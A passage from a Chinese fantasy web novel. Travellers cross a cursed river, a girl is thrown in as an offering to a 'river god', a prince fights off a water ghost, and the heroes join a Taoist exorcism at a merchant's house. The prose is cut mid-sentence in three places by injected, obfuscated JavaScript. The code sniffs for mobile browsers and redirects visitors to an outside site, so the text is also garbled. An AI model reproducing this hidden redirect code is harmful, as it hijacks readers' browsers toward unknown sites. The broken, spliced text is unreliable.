说着拉上楚纤茉和白洛溪就要启程,宫玄烛紧忙拦住:“等等,我还有句话要嘱托,在路上如果遇到一个叫林瑶的姑娘,记得让她跑远点,最好是去潮汐宫寻求蓝情浅庇佑,听到任何消息都不要回来。” 苏潋影认真地点点头:“明白了,我一定告知她。” 出了玄都一直往南边走就是雾山,但是此地瘴气弥漫,而且有星辰宫布置的阵法,不能直接进去,只能往东边绕路,前往雁回城。 临到城门被一条湍急的大河拦住了去路,苏潋影走至河边,拿手里玉骨鞭拨开齐腰高的杂草露出了一块石碑,这石碑大约有些年头了,红漆脱落,字迹斑驳,依稀能辨认出几个字符,楚纤茉喃喃念道:“户女聿……我猜最后一个字其实应该是津。” 苏潋影歪着头:“那也不对啊,从来就没有听说过这条河,我九州地理学得也不差啊。” 她说着踮起脚四下张望,河两岸空空荡荡,没有任何船只,着实让人心焦,难不成只能……她侧目看向旁边的白洛溪,后者被盯得毛骨悚然:“苏苏,你干嘛这么看着我?” 苏潋影道:“要不你变条小船让我们划过去?” 白洛溪摇摇头:“苏苏,我出门没带什么法器,变条小船倒是可以,只不过妖力凝固的车马要看天时地利,此时晴空朗日的,容易掉链子啊。” 苏潋影道:“我是让你变成小船,你不是蛇嘛,蛇会游泳的吧?” 被对方那炯炯有神的大眼睛盯出一身冷汗的白洛溪连连后退,脚跟靠到了石碑,局促地攥紧了衣袖:“你认真的吗?” 楚纤茉有些不忍,拽了拽苏潋影的衣袖:“苏苏,这不太好吧?” 苏潋影似乎理解不了这两个家伙在纠结什么:“物尽其用嘛,我要是蛇我现在也给你们当船使啊,”说着又转头看白洛溪:“你怎么回事,平时吹得天上地下的,让你施展一下才能就推三阻四,真是不中用,还得我自己想办法。” 白洛溪被嫌弃后一脸受伤,蹲到旁边画圈圈去了。 苏潋影在岸边来来回回踱步,不多时看到了身后有一群人走来,顿时眼睛一亮,急忙走上前去问好。 看这群人穿着打扮,仿佛是城中小商贩,这群妇人头上都裹着纱巾,虽然描眉打鬓,但已经失去了女子独有的灵性,贸然见这么个水灵灵的小姑娘走过来,齐齐一愣。 苏潋影笑嘻嘻上前问好:“几位姐姐好,我们初来乍到,想去城中转转,不知何时有船啊?” 为首穿着蓝布碎花裙裹着白头巾的妇人笑弯了眉眼,白皙柔软的胖手摸了摸苏潋影的头顶:“哎呦,小妹妹好甜的嘴,你们这么等啊是等不到船的,多亏遇上了我们,跟我来吧。” “好嘞!那就有劳姐姐帮忙了!” 两伙人汇聚一处,为首那位蓝裙妇人从提着的篮子里摸出一只柳哨,吹了几声,对面河岸上有了动静,似乎是撑起了两艘木筏,苏潋影看在眼里甚觉新奇,时不时望向蓝裙妇人手里的柳哨。 不多时,竹筏已经划了过来,上面只有两个肤色黝黑的船工,其中一个擦着汗看向蓝裙妇人:“五嫂子,”他余光瞥向河岸上三个陌生人,问道:“这几个人是谁啊?” 五嫂笑了笑,亲切地拉过苏潋影的手:“她啊,是我家小妹,这长相周不周正?” 船工哈哈大笑,上下打量着苏潋影,咋舌道:“我看不像,倒像是王母娘娘的女儿。” 一行人说说笑笑上了木筏,楚纤茉本来想跟苏潋影一起,船工见状道:“小姑娘,你和公子爷去旁边那只吧,这只筏子快站满了。” 船工脸上满是笑意,黑中通红的面庞显得他憨厚老实,望着人的眼睛却不知为何带着一丝莫名的闪躲,时不时抬眸,余光瞥向楚纤茉,见她上了另一艘竹筏这才回过头开始撑舟,竹篙一下一下拨着水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刚才还亲切友好的妇人们仿佛没听见似的,个个眼神木讷,船工将竹筏划到了对岸,这部分人都上了岸,不多时,河里湿漉漉爬上来了一群人,但唯独没有苏潋影和白洛溪。 “苏苏!白洛溪!” 楚纤茉在岸上拼命地朝水里喊,那群表情麻木的人渐渐远去,楚纤茉听见他们诚惶诚恐地说: “这次河神总该满意了吧?” “希望河神不要再发怒了……” “这个姑娘够年轻漂亮了,河神一定会满意的……” 楚纤茉听得稀里糊涂,眼泪簌簌往下流,转头往城里跑去,但无论她如何哀求,城里的老百姓都无动于衷,商贩们赶苍蝇似的将她赶走,怒骂着让她不要打扰自己做生意,有些人干脆匆匆回家关上了门。 楚纤茉站在陌生的街头惶然无措了许久,最后似是想到了什么,顺着大街往府衙跑去,距离白洛溪和苏潋影落入河里已经过去一刻钟了,她越想越是急躁,眼前一阵发花,地面似乎变成了一个漩涡,整个人几乎跌倒。 一双手稳稳托住了她的胳膊肘,对方见楚纤茉站稳了这才轻轻松开手,温润清朗的声音传入耳畔:“小姑娘,你还好吗?” 27. 河神传说,相当炸裂 楚纤茉缓缓睁大眼睛,见面前站着一个人,锦衣华服,看起来似乎是个大人物,似乎也是这座冷漠的城里唯一一个愿意搭理她的人。 楚纤茉扑通一下跪了下来,吓了对方一跳,她泪流满面、颠三倒四地说着事情的经过,期间那人几次三番想扶她起来,但楚纤茉坚决不肯,大有对方不帮忙她就不起身的意思。 那人居然也从楚纤茉口齿不清、呜呜咽咽的描述中听懂了事情的始末,微微蹙眉,抬手吩咐身后仆从:“去府衙传我命令,挑几路善水的,准备船只、绳索,火速去城西下河救人。” “是!” 噔噔噔的脚步声远去。 楚纤茉听到这里才如释重负,抬起一双哭得红肿的眼睛,拿衣袖擦擦眼泪强忍着眩晕起身,那人依旧伸手扶她,楚纤茉连声道谢。 “你要去哪儿?” 楚纤茉回头,泪眼朦胧道:“我去城外……” 那人伸手掀起轿帘,一扬下巴示意她上马车,楚纤茉咬咬牙也就上去了,这一上去才发觉里面装饰华丽,宽敞无比,那锦衣华服的公子手捏一把泼墨山水的折扇,指骨泛起青白色,目不斜视,温煦而疏离的声音不时在马车里响起。 “莫慌,有我在,官兵一定竭尽全力救人。” 楚纤茉用力点点头,她脑袋发空,心里一阵阵的后怕,无数个念头涌上脑海,控制不住地在心里说:都过去这么久了,苏苏他们是不是已经死了? 一会儿又使劲摇摇头,仿佛要将这些可怕的念头甩出脑海,她闭上眼睛,不停地揉搓着自己的手,手背通红一片,一会儿又紧咬着食指关节,指尖不停地颤抖着。 等马车驶到河边,那位公子扶她下了车,河面上漂浮着十几条官船,官兵们在河水中不时探出头,向船上打着楚纤茉看不懂的手势,但是她知道,他们依旧没有找到自己唯一的朋友。 楚纤茉看向身旁一直稳如泰山的年轻公子,他看起来也就二十出头的年纪,却临危不乱,目光紧紧锁着河面,察觉楚纤茉的目光就安慰几句,与那些事不关己高高挂起的老百姓实在是天壤之别。 他们随着河里一直往下游划去的船只不停移动着,暮色四合,距离苏潋影他们落水已经过去一个时辰了,却仍然没有发现任何线索,楚纤茉蹲在地上呜呜咽咽地哭了起来,她死死捂着自己的嘴,任由眼泪在脸上肆意纵横,她在内心疯狂祈祷着: 上天,神明,如果你们能看见,求你们救救苏苏,保佑她一定要活着,我愿意折寿五十年,六十年也可以,可不可以把我这无聊又漫长的寿命分给苏苏,留给我一点就好,让我陪她长大…… 她瘫软着,跪在河边,以前,哪怕是受再多委屈折磨,她从未祈求过上苍,因为她觉得,神明从来不会眷顾她,可是现在,她几乎是一刻不停地向虚无缥缈的神佛祷告,赌上自己的全部,只期盼生命中最重要的那人能安然无恙,哪怕是用自己的性命去换。 一直寂静无声的河面忽然有了动静,官船都在河中央,水边却仿佛有人游了过来,水声哗啦哗啦,那人越靠越近,楚纤茉心跳骤停,几乎是半爬半跪地跑了过去,大声喊着苏潋影的名字,在她的手要触到河水的一刹那,一只手忽然拽起她的衣领将她甩到了身后,楚纤茉站立不稳摔得头晕眼花,再睁眼就看到了令她呼吸凝滞的一幕。 河里爬上来的不是苏潋影,也不是白洛溪,而是一个狰狞可怖的水鬼,它的头发如同一片瀑布,上面缠着乱七八糟的水草,紧紧贴着身体,裸露在外的皮肤被河水泡得满是褶皱,仿佛枯死的老树皮,它扭扭脖子,传来骨节喀拉喀拉的响声,下一刻以一种看不清的诡异移动方式,霎时间略过岸上的锦衣公子,瞬间到了楚纤茉眼前,尖利的指甲仿佛一把把小勾子往她脸上抓来,仿佛下一刻就要在楚纤茉清秀的小脸上抓出数道皮开肉绽的沟壑。 怪物嘶吼着,水腥气腐臭气扑面而来,楚纤茉瞳孔失焦,理智告诉她快跑,但两条腿却不听使唤。 金石碰撞之声在耳边炸响,那锦衣公子居然拿手中折扇挡住了水鬼的攻击,一把纸扇在他手中如同削金断玉的刀剑,横扫出去格挡住了水鬼尖利的黑色指甲,只这一撞发出的声音足以穿透人的耳膜,仿佛七八只野猫在抓挠铁板。 锦衣公子抓着楚纤茉的胳膊迅速一甩将她甩开了好几丈远,楚纤茉根本稳不住身形,狼狈地摔倒在地上,膝盖、胳膊肘传来火辣辣的痛楚,她迅速爬起来一步步往城门口退去,眼前是恩人跟那只水鬼缠斗的画面,水鬼尖锐地咆哮着,两只青筋暴起的利爪或刺或挠,如同一只饿到极致的野兽,只是这些攻击都被那柄看似脆弱到一击就破的纸扇挡了回去,下一刻,水鬼忽然匍匐在地上,仿佛一条摇头摆尾的蜥蜴迅速爬向锦衣公子,后者足尖点地腾空跃起,仿佛一只灵巧的燕子在空中旋身半周,水鬼仿佛抓到了漏洞,手脚并用向最开始的目标迅速窜去,一瞬之间已经近在咫尺,楚纤茉反应过来拔腿就跑,后背的衣裳已经被尖锐的指甲刺破,她感到了一丝凉意,随着是异物划开皮肉的钻心痛楚,身后仿佛撞上了一块巨石,压得她脸朝下扑倒在地上,楚纤茉觉得喉咙里似乎堵着血块,想咳嗽却被压得咳不出来,轻轻一侧头,看到自己右肩上方是一张肿胀发白的人脸,头顶是裸露的泛着青绿色的头皮,爆出的眼球里垂着血丝,大张的嘴里还流着腥臭的涎水。 楚纤茉胃里一阵翻江倒海,干呕了几下手脚并用地往前爬,可是背上人是溺死的,沉重地仿佛一座小山,她几乎气绝时,一只手轻轻提起了水鬼扔到一边并扶起了她。 “抱歉,让姑娘受惊了。” 锦衣公子说着解下自己的披风替楚纤茉披上,楚纤茉才记起来自己的衣服被水鬼抓破了,她柔柔道了声谢,并不觉得尴尬,一则年纪尚小,二来裸露的地方是肩膀,也算不得尴尬,就是有些痛还有点眩晕。 恍惚之中,她仿佛听到有人喊着什么。 “殿下!找到了!” 找到了吗? 楚纤茉不知道是不是自己的幻觉,她仿佛看到了苏潋影,她全身是水,被白洛溪抱在怀里,看起来那么单薄脆弱,她伸手想去触碰她,却仿佛坠入了水中,一直沉入深不见底的黑暗里。 很远的地方传来锣鼓喧哗之声,隐隐还有欢笑声。 楚纤茉站在人流中,看着乱哄哄的人群里抬过一顶花轿,花轿摇摇晃晃进了一间大门,她鬼使神差地跟了进去。 一拜天地! 爆竹在她耳边炸响,楚纤茉自小就怕这些热闹,急忙往角落里跑,忽然瞥见喜堂里,新娘站在一侧,另一侧,两个家丁扶着一个看似随时要摔倒的、嘴歪眼斜、哈喇子打湿了胸前红花的男子。 这两人就这么拜了三拜,男人被搀扶着出了喜堂,新娘子也被簇拥着离开。 画面一转,楚纤茉看到一个房间里,先前那个看起来痴傻愚笨的男人躺在床上,喉咙里溢出垂死的低吟,一个穿着素白衣裙,身材纤细的女人双手浸在水盆里,拧干毛巾,脸上带着一丝微不可察的嫌恶,走到床边帮他擦拭着身体,房间里有一股浓郁的药味,熏得人犯恶心。 男人目光浑浊地看着她,手指颤颤巍巍指向饭桌。 “娘子……喝水……喝水……” 痴傻的男人不停地念叨着,女子当作没听见一般,一言不发地打扫着屋子,将给男人擦拭过身体的毛巾扔进了簸箕里,随后在手上涂满皂角,神经质地一遍又一遍洗着手,仿佛恨不得搓下一层皮来。 随着门外的脚步声响起,女人擦干净了手,略有些慌张地倒了杯水给床上的男人灌下去,许是动作太慌张,呛得男人直咳嗽。 女人被扯着头发从床边拽了起来,她咬着唇,眼泪滴滴答答顺着脸庞流下来。 楚纤茉眼里一片血色弥漫开来,她眼前不再是那个充满药味、令人窒息的房间,她眼前出现了一片池塘,池塘里只有一条骨瘦如柴的鱼,它贴着塘壁,嘴巴一张一翕,大而无神的眼睛里露出一种幽怨,它用这种像是人一样的眼神长久地凝视着楚纤茉。 啪嚓一声,仿佛是什么东西碎开了,池塘、金鱼全部消失,楚纤茉又看到了那个女人,她被捆住了手脚拖拽着往一口棺材里塞,而棺材里躺着那个男人,他穿着一身大红色丝绸长袍,骨瘦如柴、皮肤青紫,仿佛一具蒙着人皮的骷髅,女人嘴里塞着一团抹布,她挣扎着,披头散发,拼命用肩膀扛住棺材板,两脚用力往后蹬,仿佛一只即将被屠宰的可悲的母羊,最终还是被几个强壮的家丁一寸寸塞进了棺材里,轰隆隆——棺材盖重重合上…… 楚纤茉再次醒来,身边是一个碧衣身影,是苏潋影。 她见楚纤茉醒来,惶急地抓住了她的手,心里后怕不已,但楚纤茉眼神有些空洞,她还在回忆那个令人窒息的梦境,就仿佛自己也被困在了棺材里一样,她觉得有些喘不过气来。 “纤茉,你没事吧?” 楚纤茉依靠着苏潋影勉强坐了起来,背后的伤已经包扎好了,她打量了一下周围环境,看起来不像客栈。 苏潋影解释道:“这是宴王府,之前你遇到的那位是宴世子郁霄。” 苏潋影话音刚落,门外传来沉稳的脚步声以及侍女的通告声,郁霄已经走了进来,手里依旧捏着那柄纸扇,白宣之上是水墨氤氲的淡淡山川,这些墨迹似乎组成了一个太极图,但楚纤茉记得昨天晚上他攻击那个水鬼之时,扇面似乎是一片漆黑,隐隐有一道发着红光的太极图腾。 “多谢世子殿下救命之恩。” 楚纤茉看了眼对方那张俊秀瑰丽的脸,不太自然地垂下了眼眸,郁霄那双眼睛很漂亮,狭长深邃,眼尾微微上挑,是典型的丹凤眼,被他盯久了会让人有些不自在。 “无妨。” 郁霄一笑,山温水暖,手中折扇轻轻摇动。 三人在前厅落座后有侍女献上香茶,郁霄拱手欠身,俊朗的脸上带着几分愧疚:“是在下治理辖区不力,让几位受惊了。” 苏潋影、楚纤茉也站起来回礼,重新落座之后,苏潋影问起了那条奇怪的河。 “听宴世子的意思,那条河似乎大有文章?” 郁霄不由垂眸,叹道:“说来惭愧,那是条凶河,吞噬过无数条人命,凤城城主,也就是家父,虽然下令禁止民间祭祀河神,可是民众私底下还是会做出这等事。我也在此地探查过一段时间,却没有任何头绪,倒是从当地百姓口中听了一个故事。” 他最后似乎不知道应该用什么词语来形容听到的这件匪夷所思的事情,停顿了一两息选择了这个比较中肯的表述。 苏潋影对这些稀奇古怪的东西明显很感兴趣,追问道:“什么故事?” 郁霄看着眼前一向活力四射的姑娘,不由露出莞尔笑意,语气缓缓道:“那是一个在此地流传了许久的故事,大概是好几百年前,雁回城的河流里还没有河神,当地有一户人家,家财万贯,他们家只有一个少爷,因为天生痴傻所以直到三十岁还没有娶妻,这家人只好退而求其次,将家里一个最年轻貌美的丫鬟嫁给了少爷。后来,这个少爷病体日沉,不久后就一命归西,这家人将少爷的尸骨收敛,可是老夫人却坚决要让儿媳给儿子殉葬,于是,这儿媳被塞进了棺材里,跟她死去的丈夫躺在了一起,起初儿媳还会挣扎,随着棺材被钉死,拍打棺盖的声音、哭喊、求饶、咒骂的声音都渐渐小了下去。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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听到白洛溪的名字,苏潋影脸上泛起自豪的笑意:“那当然了,我们家小白别的不敢说,除了不会飞,讲究登山涉水那是小菜一碟!” 郁霄来了兴趣,脸上也满是笑意,顺着苏潋影的话茬道:“哦,看不出来白公子年纪轻轻身手居然如此了得,在下真是自愧不如,若在下有白公子一半的本事也就不为这妒妇津之事日夜寝食难安了。” 他说到最后愁云满面,自嘲般摇摇头,苏潋影噌一下站了起来,古道热肠一动又开始大包大揽:“你放心好了,我们一定会尽全力帮助你的,俗话说得好,五湖四海皆兄弟嘛,就算我们解决不了,我还可以去找我阿姐啊!” 郁霄忽然站起来,一甩衣摆扑通一下直直跪在了苏潋影面前,言辞恳切道:“郁霄代雁回城百姓谢过三位了,若此河之患得解,郁某必当重谢,有劳了!” 苏潋影连忙上前去扶他:“哎呀你不要说得这么严重,路见不平拔刀相助那是我家的祖训,都是我应该做的……那么,我们应该从何查起呢?” 郁霄站了起来,眸露感激:“先不急,这几天我会下令禁止百姓外出,我们还需要找个帮手,共同商议一个计划,钓出这个河神。” “看来宴世子早就猜到有人装神弄鬼了?” 白洛溪不知何时走了进来,他站在苏潋影身侧,一改往常不着调的模样,而是出奇地神色严肃。 苏潋影拿胳膊肘捅捅他,压低声音道:“你今天吃错药了?” 白洛溪不动声色地赶开她作乱的手,轻轻啧了一声:“你别闹了,还嫌自己惹的麻烦不够大吗?” 白洛溪重新看向郁霄,对方却并不因为他颇为不善的语气而恼怒,反而笑道:“英雄所见略同,郁某不认为有什么鬼神作祟,若真是鬼神,想必周围驻扎的各大仙府已经派人清剿了。” 苏潋影咬着指甲盖深思,半晌才反应过来,眼睛瞪得溜圆:“你的意思是有人假扮水鬼残害无辜百姓?” 楚纤茉似乎想起了什么,也道:“可是昨天晚上,我们明明看见了水鬼啊。” 郁霄合上手中折扇轻轻在掌中敲击:“究竟是鬼还是有人在装神弄鬼,我相信很快这答案就会揭晓了。” 他脸上那种棋逢对手的神情褪去,转而又是那种得体的微笑,面向这三人道:“这两天几位就好好在寒舍休息,有事便吩咐下人,郁某手头还有几件小事要处理,届时妒妇津之事就有劳几位多多帮忙了。” 待郁霄离开后,苏潋影望着他的背影喃喃自语道:“不是水鬼会是什么呢,谁会假扮水鬼抓走那些女孩呢……” 白洛溪无可奈何地瞪着她,气得嗓音都变了:“你还说,你不是要去找你姐姐吗?现在耗在这里又算怎么回事?” 苏潋影拿手给他扇扇风:“我都不着急你慌鸡毛啊,再说了,区区小妖小怪,只敢躲在水里暗箭伤人,料想也不是什么难对付的角色。” 白洛溪咬牙点点头,附和道:“啊对对对,不是什么难对付的角色,可问题是遇上危险你只会在旁边添乱,到头来还不是我一个人在对付未知情况啊!” 苏潋影一想还真是:“对哦。” 白洛溪气到跳脚:“对你个鬼啊!我身份若是暴露会被万仙盟下追捕令的!” 苏潋影踮起脚勉强勾住他的脖子,拍了拍抓狂的白洛溪的肩膀,安慰他道:“万仙盟长老的妹妹在这儿你怕啥,放心大胆上,真被抓进凌云殿了我会想方设法给你捞出来的。” 白洛溪懊恼地扯着自己的头发,嘴里发出一连串哀嚎:“救命啊,为什么当初救我的人是你啊!” 苏潋影看着他眼眶里涌出的面条泪,想起了一个词语,难道这就是传说中的滴水之恩当涌泉相报嘛? 28. 玄烛,三缺一,速来 苏潋影牵着楚纤茉的手,二人打算在城中逛逛, 雁回城自然是没有玄都繁华的,偶然有几处摆着簪环首饰的摊子,其余多是酒肉茶肆,街上行人忙忙碌碌操持生计,鲜少见到闲散惬意的,于是有个身影一出现便很是惹眼。 她一袭轻飘飘广袖白衣,麻花辫在头顶偏后处绕成椭圆形发髻,在右侧拿一根蜻蜓流苏银发钗固定,垂落身后的发丝则用一条白发带当中收拢,但分出一绺在左胸前编了条不粗不细的辫子,窄条白丝带编织入理,规规矩矩的发式便显得灵动俏皮起来。 她不似苏潋影、楚纤茉那样还留着齐眉的刘海,额前只轻飘飘垂落几丝,露出了光洁圆润的额头,往下是拢烟叠翠一对远山眉、悲天悯人一对含情目,琼鼻耸立,薄唇含脂,如同一幅山水画,七分是景、三分留白,脚步款款,步摇微动,所过之处如鹤立鸡群。 苏潋影拍拍楚纤茉的肩,低声道:“我猜这大概就是传说中能闪瞎人眼的林瑶了。” 宫玄烛就是这么说的。 找林瑶还不简单?披麻戴孝小白花,清澈愚蠢身材佳,智商不高体能废,根正苗红人人夸。 苏潋影已经拉着楚纤茉往前走了,打算把人先堵住,楚纤茉就没见过这么自来熟的人,慌得低声劝阻:“万一不是怎么办,太冒昧了吧?” 苏潋影啧了一声:“男的上去搭讪美女那才叫冒昧,我这叫热情洋溢好不好?” “嘿,这位漂亮姐姐,请问你是林瑶本瑶吗?据说你师父在满世界找你,提供一条可靠消息赏银五百两,把人带回去奖励一套豪宅啊,有没有兴趣发这笔横财?” 白衣少女脸色一僵,唇边淡淡的笑意霎时间散去,还没来得及转身就跑被苏潋影一把抓住了手腕,白衣少女嘴唇轻颤、目光闪躲:“我不是——” “不是你跑什么?” 苏潋影笑嘻嘻地走到她身前,抬手将她半遮面容的袖子拽下来:“好了不逗你了,我们在玄都遇到了你师妹宫玄烛,她让我们帮忙带句话,玄都近日可能有大事发生,但是极有可能是那个什么国师的阴谋,让你无论如何不要回去自投罗网,先去找蓝情浅可以躲过一时。” 林瑶沉默许久才点点头,勉强扯出一个得体的微笑:“多谢两位妹妹了……雁回城近日不太平,两位妹妹若是没有要事还是尽快离开比较好。” 苏潋影已经上前挽住了她的胳膊,仿佛两人认识很多年了:“瑶瑶姐,你人真好,不过呢我们答应了别人帮忙抓水鬼,是不会轻易离开的,瑶瑶姐你呢,打算什么时候离开?你如果还不走的话要不要帮我们一起抓水鬼,人多力量大嘛!” “水鬼?”林瑶眉头轻蹙看向挂在自己胳膊上的小姑娘,眸露惊讶,“你也知道此事,莫非小妹妹也是玄门中人?” 苏潋影笑容灿烂露出八颗牙齿:“忘了自我介绍了,我叫苏潋影,瑶瑶姐你喊我苏苏、潋影、随便什么都行,我家住在碧梧山庄,虽不在四大派之列,但勉勉强强也算是修仙之家吧。” 苏潋影所说四大派自然是西北沁莲梵净山、东南洛都潮汐宫、中原玄都星辰宫以及鸢歌芙蕖观,其余如流光宗、青澜宗、碧梧山庄这些中等宗派有些依附附近的大门派、有些则独立发展,而在这些门派之上有个万仙盟另当别论,凌驾于众仙门之上,由各派惊鸿期以上修士联合组成审判团,主持修仙界正义,所以,有些修士的罪业一旦上升至凌云殿万仙盟基本就可以等投胎了。 原来林瑶初到雁回城,渡河之际也差点被人算计坠入妒妇津,不过她比较幸运遇上了郁霄,二人也因此结识,其实林瑶来雁回城也有自己的目的,她舅父家就在雁回城,可以暂时躲避风头,而正巧她表哥的夫人快要临盆了,所以无论是为了帮郁霄查案还是为了照顾表嫂,她暂时都无法离开雁回城。 苏潋影一听这话来劲了:“太好了瑶瑶姐,我们可以一起行动了,等处理完此事我们呢就继续去雾山,你也可以动身去洛都了,不过现在我们去做什么呢?” 林瑶看向斜对面一家杂货铺子。 等几人再次从杂货铺子里出来的时候,个个手里提着成沓的黄纸,怀里抱着朱砂、红线、五色稻谷等物。 楚纤茉理了半天的思绪,最后看向林瑶道:“所以林瑶姐姐你的意思是,你舅父家里撞了邪物?可我们都不是道士,买这些东西有什么用?” 林瑶朝她微微一笑,在她眼里,苏潋影、楚纤茉都比她小,是需要照顾的小妹妹,而她们二人皆是秀外慧中,一个热情活泼一个温柔沉默,一口一个“姐姐”更是让她倍感亲切,毕竟……陌菱重回她身边后再也不肯叫她一声姐姐了。 林瑶眼底的落寞在看向楚纤茉时已经消失不见了,取而代之的是一片柔和:“道士嘛已经在家里了,相信有他们在舅父家一定可以平安渡过此劫。” 相传古时,在琅嬛,妇人临盆之前都会请和尚道人做法事,因为会有魂灵投身在这即将出世的胎儿身上,和尚会手执菩提叶在产妇的房间外诵经,诵经后将菩提叶投入水中,如果菩提叶沉没水底则说明此灵罪业深重,如果浮于表面则说明乃是大德大善之人,将来必然兼济天下。道士则会准备法坛、做法事震慑前来投胎的阴灵,从门口到产妇的床前这段距离依次摆放火盆、香灰、朱砂池等物品阻挡,据说罪业轻、心怀善念的魂灵不惧刀山火海、片叶不沾身,而那些罪业深重的魑魅魍魉跨火盆时火焰会剧烈燃烧,踏香灰时会在灰烬上留下重重的脚印,最后趟过朱砂池上来,满地都是血红的脚印和掌印…… 在以前许多人迷信此道,如同在做法事时遇到特别惊悚的情况,有的妇人会在其家人的劝说下堕胎,让这凶恶的讨债鬼无法顺利出生,而大多数人是舍不得打掉这个孩子的,所以还是生了下来,那么结果可想而知,这个孩子天生是学不会感恩父母的,无休止地索取、四处惹是生非,吃喝嫖赌、无恶不作,简直如同混世魔王一般,最后往往会导致一个家庭家破人亡。 不过此法虽判善恶却有违道义、泄露天机,除了一些坑蒙拐骗的江湖术士,正统的道教中人是不会轻易答应凡人的这种请求的。 在林瑶的极力劝说之下,夏老爷,也就是她舅父,放弃了善恶判而是让道士做场法事安家镇宅,毕竟夏家最近可不太平,身怀六甲的夏少夫人时常看到床底下有小孩玩具滚出来,就仿佛有孩子趴在床底玩一样。 夏少夫人现在对孩子可谓是十分恐惧了,偏偏前段日子夏老爷大寿,有人送了幅百子图,长三尺、宽两尺,素白缣绢上挤满了穿花花绿绿小肚兜、束着小发揪的光屁股小孩。 夏少夫人去给公公请安时这幅画就挂在正堂,她一起身仿佛看见那些小孩子齐刷刷朝她笑,吐出了鲜红的舌头扮鬼脸,要不是身后有丫鬟眼疾手快地扶住她,夏少夫人大概会直接栽倒在地。 儿媳妇吓得躺床上好几天水米难进,夏老爷终于着急了,连夜派人去鸢歌城请了芙蕖观的道爷,于是刚赶回去参加完祭祖大典的裴暮雪为了赚钱接单了,其小师妹慕容纤也跟了过来凑热闹。 五个人相互见过礼,林瑶等人在旁边看,裴暮雪正在夏少夫人的房间周围布置阵法,他手里拿着一个缠着一团红线的风水盘、脚下踩着七星步,走上几步就会在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489961|185807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏潋影预测不到的方位插下一根小旗子,将红线缠绕几圈,然后继续放线在房间外面踩点。 裴暮雪又一次朝苏潋影伸手:“南方离火旗。” 拿着一把小旗子的苏潋影手忙脚乱地翻找许久,裴暮雪伸出的手都举酸了,最后无奈地咽了口唾沫:“红色的。” “哦。” 苏潋影挑了一支扎得比较漂亮的红色小旗子递给他,又看看他在前面插好的旗子们,不解道:“为什么你插的小旗子里黑色的这么多,其他颜色的就只有几根,怪不公平的,要不多插几根绿的?我比较喜欢绿色……” 没有对比就没有伤害,裴暮雪现在一点也不觉得自家小师妹烦人了,甚至想把对方叫出来给自己帮忙,但是慕容纤嫌弃他画的替身脸太丑,正在亲自执笔给夏少夫人的替身画脸。 夏少夫人早就搬到其他地方去了,现在这个房间的床上躺了一个用枕头组装的假人,枕头里放了一绺夏少夫人刚剪下来的头发,慕容纤将画好的脸贴在枕头上满意地拍拍手上并不存在的灰尘,双手叉腰看向林瑶:“怎么样,还不错吧?毕竟也是得了我大师兄真传。” 林瑶看着那张人脸画不知该作何感想,裴暮雪画了两个圈在里面点了两个点代表眼睛,一个三角形下面连两个圈代表鼻子,正下方一条上扬的弧线代表嘴巴,左右是两个对称的数字3代表耳朵,当时林瑶一眨眼裴暮雪已经画完了,慕容纤抢过去加工一番,丑得惊天地泣鬼神的人脸画多了粉色的眼影和血淋淋的血盆大口以及两坨腮红…… 你大师兄独孤叶晴,书画双绝的鸢歌城第一才子,就是这么教你的? 裴暮雪布置完了艮土阵迈入房间,手里拿了一幅卷轴铺在桌子上打开,正是那幅百子图,穿着花花绿绿小肚兜的孩童几乎是挤在一起,大大小小估计真的有一百个,手脚密密麻麻的交错重叠在一起,一晃眼让人觉得有些孩子缺胳膊少腿,而有些又是三头六臂。 裴暮雪两指悬空虚抚着这幅画,眸中露出一丝不易察觉的厌恶之色,几乎是自言自语道:“如果说作画之人是心思歹毒,那么赠画之人就算包藏祸心了。” 苏潋影从旁边探出脑袋,认认真真打量这幅画,她听见了裴暮雪的喃喃自语,侧头问道:“要去调查一下这个赠画之人吗?” 裴暮雪将画拿了起来,伸手挂在了西墙上,他身高近八尺,抬手几乎能摸到头顶的横梁,苏潋影默默放下了搬起来的小凳子。 裴暮雪回首接上她前面的话茬:“调查赠画之人么……那是额外的价钱,夏员外只给了做法事的钱。” 他认认真真凝眉细想,后背让慕容纤重重拍了一巴掌:“好啊你二师兄,师父说过帮人帮到底送佛送到西,你又打算中途当甩手掌柜了是不是?” 裴暮雪连忙绕到圆桌另一侧躲避小师妹的无情铁手,赔笑道:“我也没说不管啊,那小师妹你就自个儿去调查吧,咱们兵分两路,我守着夏宅,你去查赠画之人,怎么样?” 一旁的楚纤茉看了许久,总觉得这对师兄妹有点奇怪,谁家师兄会把师妹派出去干活自己坐享其成啊? 她忍不住开口道:“慕容姑娘一个人会遇到危险吧……” 裴暮雪看了看屋子里一圈人,奇怪道;“谁说她是一个人了,这不还有你们这些侠肝义胆的好姐妹嘛,去吧去吧正义的姑娘们,先去前厅找夏老爷,顺藤摸瓜一定能有所收获,我等你们的好消息。” 于是林瑶去了夏少夫人临时休息的房间照顾她,其余三人被裴暮雪忽悠去查案了,他本人坐下来轻抿着茶水,惬意地摇摇头:“世界终于清净了。” 29. 这瓜,好长的藤! 